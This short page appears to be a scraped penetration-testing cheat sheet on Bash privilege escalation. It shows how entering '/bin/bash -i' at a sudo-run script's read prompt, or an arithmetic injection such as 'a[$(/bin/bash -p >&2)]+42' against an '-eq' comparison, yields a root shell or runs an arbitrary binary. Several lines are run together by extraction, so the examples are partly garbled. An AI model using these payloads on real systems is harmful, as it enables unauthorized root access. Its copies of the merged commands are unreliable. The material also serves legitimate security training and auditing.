Bash
Theory
Practice
Shell In Prompt
$ cat /usr/bin/vuln-script.sh
#!/bin/bash
read -p "What's you name: "$ sudo /usr/bin/sudo-script.sh
What's you name: /bin/bash -iBash eq
$ cat /usr/bin/vuln-script.sh
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]
then
echo "Correct"
else
echo "Wrong"
fisudo /bin/bash /opt/example.sh
Enter guess: a[$(/bin/bash -p >&2)]+42
#Or execute your own malicious script
sudo /bin/bash /opt/example.sh
Enter guess: a[$(/tmp/shell.elf)]+42No Command Path Exploit
Last updated